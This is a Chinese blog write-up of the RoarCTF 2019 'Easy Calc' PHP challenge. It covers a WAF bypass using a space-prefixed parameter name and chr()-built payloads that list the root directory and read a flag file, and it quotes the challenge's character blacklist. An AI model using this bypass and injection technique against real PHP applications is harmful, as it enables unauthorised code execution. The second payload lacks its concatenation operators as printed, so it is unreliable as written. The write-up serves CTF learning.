RoarCTF 2019 Easy Calc

0x00

题目类型:php,RCE。

知识点:php对变量空格的解析。

0x01

查看源码,提醒有WAF保护,不过我们不知道规则。发现calc.php,对传入的num参数做了如下限制。

$str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }

0x02

  首先我们需要绕过WAF,注意WAF和黑名单不是一个东西。传入一个名为" num"的参数,WAF会认为他是" num"而不是"num",但在解析变量时,空格会被去除,参数会被认为是"num",这样就可以构造非法命令了。

  黑名单里过滤了引号和分号,无法直接调用函数,可以用chr()函数将ascii编码转换为字符,这样就可以绕过黑名单的检测命令执行。

0x03

payload:

var_dump(scandir(chr(47)))
var_dump(file_get_contents(chr(47)chr(102)chr(49)chr(97)chr(103)chr(103)))

 

posted @ 2020-07-11 22:16  BlueDoor1999  阅读(85)  评论(0编辑  收藏  举报